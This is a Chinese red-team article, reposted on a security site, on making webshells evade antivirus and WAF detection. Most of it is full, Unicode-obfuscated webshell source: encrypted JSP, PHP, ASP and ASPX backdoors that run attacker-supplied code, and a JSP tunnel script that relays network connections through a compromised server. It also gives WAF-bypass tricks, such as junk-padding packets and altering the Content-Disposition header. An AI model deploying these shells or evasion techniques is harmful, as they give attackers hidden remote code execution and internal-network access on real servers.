红队攻防实践:闲谈Webshell在实战中的应用

admin 2022年1月6日03:37:14安全文章评论13 views15717字阅读52分23秒阅读模式

红队攻防实践:闲谈Webshell在实战中的应用

红队攻防实践:闲谈Webshell在实战中的应用

红队攻防实践:闲谈Webshell在实战中的应用


jsp木马

jsp脚本可以使用unicode编码的方式来进行绕过静态查杀,比如之前碰到的jsp小马:

红队攻防实践:闲谈Webshell在实战中的应用

既然jsp小马可以通过这种方式进行免杀,冰蝎当然也可以:

红队攻防实践:闲谈Webshell在实战中的应用

但是冰蝎不能像jsp小马那样直接全部unicode编码,而是需要部分编码,经过多次编码测试,发现在代码内容处,只要函数参数值不进行编码,冰蝎就可以正常使用:

红队攻防实践:闲谈Webshell在实战中的应用

红队攻防实践:闲谈Webshell在实战中的应用

另外有时在webshell上传时,有的waf也会对导入的java包名称进行检测,比如javax、java、crypto这些关键字,同理我们也可以进行unicode编码,只不过中间的点号不能编码,最终形式如下:

<%@page import="u006au0061u0076u0061.util.*,u006au0061u0076u0061u0078.u0063u0072u0079u0070u0074u006f.*,u006au0061u0076u0061u0078.u0063u0072u0079u0070u0074u006f.u0073u0070u0065u0063.*"%><%u0063u006cu0061u0073u0073u0020u0055u0020u0065u0078u0074u0065u006eu0064u0073u0020u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u007bu0055u0028u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u0020u0063u0029u007bu0073u0075u0070u0065u0072u0028u0063u0029u003bu007du0070u0075u0062u006cu0069u0063u0020u0043u006cu0061u0073u0073u0020u0067u0028u0062u0079u0074u0065u0020u005bu005du0062u0029u007bu0072u0065u0074u0075u0072u006eu0020u0073u0075u0070u0065u0072u002eu0064u0065u0066u0069u006eu0065u0043u006cu0061u0073u0073u0028u0062u002cu0030u002cu0062u002eu006cu0065u006eu0067u0074u0068u0029u003bu007du007d%><%u0069u0066u0028u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072u0028"pass"u0029u0021u003du006eu0075u006cu006cu0029{u0053u0074u0072u0069u006eu0067u0020u006b=u0028""u002bu0055u0055u0049u0044u002eu0072u0061u006eu0064u006fu006du0055u0055u0049u0044u0028u0029u0029u002eu0072u0065u0070u006cu0061u0063u0065u0028"-",""u0029u002eu0073u0075u0062u0073u0074u0072u0069u006eu0067u002816u0029;u0073u0065u0073u0073u0069u006fu006eu002eu0070u0075u0074u0056u0061u006cu0075u0065u0028"u",ku0029u003bu006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u006bu0029u003bu0072u0065u0074u0075u0072u006eu003b}u0043u0069u0070u0068u0065u0072u0020u0063u003du0043u0069u0070u0068u0065u0072u002eu0067u0065u0074u0049u006eu0073u0074u0061u006eu0063u0065u0028"AES"u0029;u0063u002eu0069u006eu0069u0074u00282,u006eu0065u0077u0020u0053u0065u0063u0072u0065u0074u004bu0065u0079u0053u0070u0065u0063u0028u0028u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0056u0061u006cu0075u0065u0028"u"u0029u002b""u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0029u002c"AES"u0029u0029;u006eu0065u0077u0020u0055u0028u0074u0068u0069u0073u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u0028u0029u0029u002eu0067u0028u0063u002eu0064u006fu0046u0069u006eu0061u006cu0028u006eu0065u0077u0020u0073u0075u006eu002eu006du0069u0073u0063u002eu0042u0041u0053u0045u0036u0034u0044u0065u0063u006fu0064u0065u0072u0028u0029u002eu0064u0065u0063u006fu0064u0065u0042u0075u0066u0066u0065u0072u0028u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0052u0065u0061u0064u0065u0072u0028u0029u002eu0072u0065u0061u0064u004cu0069u006eu0065u0028u0029u0029u0029u0029u002eu006eu0065u0077u0049u006eu0073u0074u0061u006eu0063u0065u0028u0029u002eu0065u0071u0075u0061u006cu0073u0028u0070u0061u0067u0065u0043u006fu006eu0074u0065u0078u0074u0029u003b%>

php木马

对于php木马的改造,我们需要用到php函数的一个特性:就是php是将函数以string形式传递,我们查看php手册:

红队攻防实践:闲谈Webshell在实战中的应用

红队攻防实践:闲谈Webshell在实战中的应用

<?php@error_reporting(0);session_start();
//unicode解码函数function xx($unicode_str){ $json = '{"str":"'.$unicode_str.'"}'; $arr = json_decode($json,true); if(empty($arr)) return ''; return $arr['str'];}
if (isset($_GET['pass'])){ //调用解码函数返回原函数字符串 $key=xx("u0073u0075u0062u0073u0074u0072")(xx("u006du0064u0035")(xx("u0075u006eu0069u0071u0069u0064")(xx("u0072u0061u006eu0064")())),16); $_SESSION['k']=$key; print $key;}else{ $key=$_SESSION['k']; $post=xx("u0066u0069u006cu0065u005fu0067u0065u0074u005fu0063u006fu006eu0074u0065u006eu0074u0073")(xx("u0070u0068u0070u003au002fu002fu0069u006eu0070u0075u0074")); if(!xx("u0065u0078u0074u0065u006eu0073u0069u006fu006eu005fu006cu006fu0061u0064u0065u0064")('openssl')) { $t=xx("u0062u0061u0073u0065u0036u0034u005f").xx("u0064u0065u0063u006fu0064u0065");
$post=$t($post.""); for($i=0;$i<xx("u0073u0074u0072u006cu0065u006e")($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
} } else { $post=xx("u006fu0070u0065u006eu0073u0073u006cu005fu0064u0065u0063u0072u0079u0070u0074")($post,xx("u0041u0045u0053u0031u0032u0038"), $key); } $arr=xx("u0065u0078u0070u006cu006fu0064u0065")('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}} @xx("u0063u0061u006cu006cu005fu0075u0073u0065u0072u005fu0066u0075u006eu0063")(new C(),$params);}?>

红队攻防实践:闲谈Webshell在实战中的应用

<%function xx(str)    str=replace(str,"u","")    xx=""    dim i    for i=1 to len(str) step 4        xx=xx & ChrW(cint("&H" & mid(str,i,4)))    nextend functionResponse.CharSet = "UTF-8"If Request.ServerVariables("REQUEST_METHOD")="GET" And Request.QueryString("pass") ThenFor a=1 To 8RANDOMIZEk=Hex((255-17)*rnd+16)+kNextSession("k")=kresponse.write(k)Elsek=Session("k")size=Request.TotalBytescontent=Request.BinaryRead(size)For i=1 To sizeresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))Nextdim a(5)a(0)=xx("u0065u0078u0065u0063u0075u0074u0065u0028u0072u0065u0073u0075u006cu0074u0029")eval(a(0))End If%>

红队攻防实践:闲谈Webshell在实战中的应用

<%@ Page Language="C#" %><%@Import Namespace="u0053u0079u0073u0074u0065u006d.u0052u0065u0066u006cu0065u0063u0074u0069u006fu006e"%><%if (u0052u0065u0071u0075u0065u0073u0074["u0070u0061u0073u0073"]!=null){ u0053u0065u0073u0073u0069u006fu006e.u0041u0064u0064("u006b", Guid.NewGuid().ToString().u0052u0065u0070u006cu0061u0063u0065("-", "").u0053u0075u0062u0073u0074u0072u0069u006eu0067(16)); u0052u0065u0073u0070u006fu006eu0073u0065.Write(Session[0]); return;}byte[] k = u0045u006eu0063u006fu0064u0069u006eu0067.Default.GetBytes(Session[0] + ""),c = u0052u0065u0071u0075u0065u0073u0074.u0042u0069u006eu0061u0072u0079u0052u0065u0061u0064(u0052u0065u0071u0075u0065u0073u0074.u0043u006fu006eu0074u0065u006eu0074u004cu0065u006eu0067u0074u0068);u0041u0073u0073u0065u006du0062u006cu0079.u004cu006fu0061u0064(new u0053u0079u0073u0074u0065u006d.u0053u0065u0063u0075u0072u0069u0074u0079.u0043u0072u0079u0070u0074u006fu0067u0072u0061u0070u0068u0079.u0052u0069u006au006eu0064u0061u0065u006cu004du0061u006eu0061u0067u0065u0064().u0043u0072u0065u0061u0074u0065u0044u0065u0063u0072u0079u0070u0074u006fu0072(k, k).u0054u0072u0061u006eu0073u0066u006fu0072u006du0046u0069u006eu0061u006cu0042u006cu006fu0063u006b(c, 0, c.Length)).u0043u0072u0065u0061u0074u0065u0049u006eu0073u0074u0061u006eu0063u0065("U").u0045u0071u0075u0061u006cu0073(this);%>

如上面代码所述,我只是找了几个函数进行了unicode编码,大家可以进一步细化。当然对于里面的括号、点号不能进行编码。

最后用d盾扫下:

红队攻防实践:闲谈Webshell在实战中的应用

另外在我平时的测试中,我通过这些shell也成功绕过了大部分的waf。

tunnel的免杀

tunnel的静态免杀可以结合上面所说的冰蝎免杀方法进行制作,当然如果改动的是前面动态免杀的tunnel脚本那就更好了,这里不多介绍,之前对jsp版本的tunnel进行过改动,也是通过unicode的方式进行:

红队攻防实践:闲谈Webshell在实战中的应用

<%@page import="u006au0061u0076u0061u002eu006eu0069u006fu002eu0042u0079u0074u0065u0042u0075u0066u0066u0065u0072, u006au0061u0076u0061u002eu006eu0065u0074u002eu0049u006eu0065u0074u0053u006fu0063u006bu0065u0074u0041u0064u0064u0072u0065u0073u0073, u006au0061u0076u0061u002eu006eu0069u006fu002eu0063u0068u0061u006eu006eu0065u006cu0073u002eu0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c, u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu0041u0072u0072u0061u0079u0073, u006au0061u0076u0061u002eu0069u006fu002eu0049u004fu0045u0078u0063u0065u0070u0074u0069u006fu006e, u006au0061u0076u0061u002eu006eu0065u0074u002eu0055u006eu006bu006eu006fu0077u006eu0048u006fu0073u0074u0045u0078u0063u0065u0070u0074u0069u006fu006e, u006au0061u0076u0061u002eu006eu0065u0074u002eu0053u006fu0063u006bu0065u0074" %><%    u0053u0074u0072u0069u006eu0067u0020u0063u006du0064u0020u003du0020u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0048u0065u0061u0064u0065u0072("X-CMD");    if (u0063u006du0064u0020u0021u003du0020u006eu0075u006cu006c) {        u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");        if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("CONNECT") == 0) {            try {                u0053u0074u0072u0069u006eu0067u0020u0074u0061u0072u0067u0065u0074u0020u003du0020u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0048u0065u0061u0064u0065u0072("X-TARGET");                int port = u0049u006eu0074u0065u0067u0065u0072u002eu0070u0061u0072u0073u0065u0049u006eu0074(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0048u0065u0061u0064u0065u0072("X-PORT"));                u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c = u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu006fu0070u0065u006e();                u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0063u006fu006eu006eu0065u0063u0074(new u0049u006eu0065u0074u0053u006fu0063u006bu0065u0074u0041u0064u0064u0072u0065u0073u0073(target, port));                u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0063u006fu006eu0066u0069u0067u0075u0072u0065u0042u006cu006fu0063u006bu0069u006eu0067(false);                u0073u0065u0073u0073u0069u006fu006eu002eu0073u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket", u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c);                u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");            } catch (u0055u006eu006bu006eu006fu0077u006eu0048u006fu0073u0074u0045u0078u0063u0065u0070u0074u0069u006fu006e e) {                u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());                u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());                u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL");            } catch (u0049u004fu0045u0078u0063u0065u0070u0074u0069u006fu006e e) {                u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());                u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());                u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL");
} } else if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("DISCONNECT") == 0) { u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c = (SocketChannel)u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket"); try{ u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0073u006fu0063u006bu0065u0074().close(); } catch (u0045u0078u0063u0065u0070u0074u0069u006fu006e ex) { u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u0078u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065()); } u0073u0065u0073u0073u0069u006fu006eu002eu0069u006eu0076u0061u006cu0069u0064u0061u0074u0065(); } else if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("READ") == 0){ u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c= (SocketChannel)u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket"); try { u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0020u0062u0075u0066u0020u003du0020u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u002eu0061u006cu006cu006fu0063u0061u0074u0065(512); u0069u006eu0074u0020u0062u0079u0074u0065u0073u0052u0065u0061u0064u0020u003du0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0072u0065u0061u0064(buf); u0053u0065u0072u0076u006cu0065u0074u004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006du0020u0073u006fu0020u003du0020u0072u0065u0073u0070u006fu006eu0073u0065u002eu0067u0065u0074u004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d(); while (u0062u0079u0074u0065u0073u0052u0065u0061u0064 > 0){ u0073u006fu002eu0077u0072u0069u0074u0065(u0062u0075u0066u002eu0061u0072u0072u0061u0079(),0,u0062u0079u0074u0065u0073u0052u0065u0061u0064); u0073u006fu002eu0066u006cu0075u0073u0068(); u0062u0075u0066u002eu0063u006cu0065u0061u0072(); u0062u0079u0074u0065u0073u0052u0065u0061u0064u0020u003du0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0072u0065u0061u0064(buf); } u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK"); u0073u006fu002eu0066u006cu0075u0073u0068(); u0073u006fu002eu0063u006cu006fu0073u0065();
} catch (u0045u0078u0063u0065u0070u0074u0069u006fu006e e) { u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065()); u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065()); u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL"); }
} else if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("FORWARD") == 0){ u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c= (SocketChannel)u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket"); try {
u0069u006eu0074u0020u0072u0065u0061u0064u006cu0065u006eu0020u003du0020u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0043u006fu006eu0074u0065u006eu0074u004cu0065u006eu0067u0074u0068(); byte[] buff = new byte[readlen];
u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d().read(buff, 0, readlen); u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0020u0062u0075u0066u0020u003du0020u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u002eu0061u006cu006cu006fu0063u0061u0074u0065(readlen); u0062u0075u0066u002eu0063u006cu0065u0061u0072(); u0062u0075u0066u002eu0070u0075u0074(buff); u0062u0075u0066u002eu0066u006cu0069u0070();
while(u0062u0075u0066u002eu0068u0061u0073u0052u0065u006du0061u0069u006eu0069u006eu0067()) { u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0077u0072u0069u0074u0065(buf); } u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");
} catch (u0045u0078u0063u0065u0070u0074u0069u006fu006e e) { u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065()); u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065()); u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL"); u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0073u006fu0063u006bu0065u0074().close(); } } } else { u006fu0075u0074u002eu0070u0072u0069u006eu0074("Georg says, 'All seems fine'"); }%>

红队攻防实践:闲谈Webshell在实战中的应用

红队攻防实践:闲谈Webshell在实战中的应用

这里的交互数据包可以是文件上传的数据包,当然也可以是sql注入的数据包,更可以是其他漏洞exp的数据包,比如之前weblogic的反序列化远程代码执行,也可以通过在数据包中添加大量垃圾字符来绕过waf:

红队攻防实践:闲谈Webshell在实战中的应用

红队攻防实践:闲谈Webshell在实战中的应用

另外,也可以结合一些waf检测特征来绕过waf,比如将 Content-Disposition字段进行修改,修改成 Content+Disposition、 Content~Disposition等,都有可能突破waf检测。

红队攻防实践:闲谈Webshell在实战中的应用


作者:奇安信安全服务专家 强强

文章来源:安全客


红队攻防实践:闲谈Webshell在实战中的应用快戳阅读原文!获取更多视频教程

本文始发于微信公众号(乌雲安全):红队攻防实践:闲谈Webshell在实战中的应用

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日03:37:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  红队攻防实践:闲谈Webshell在实战中的应用 http://cn-sec.com/archives/488758.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: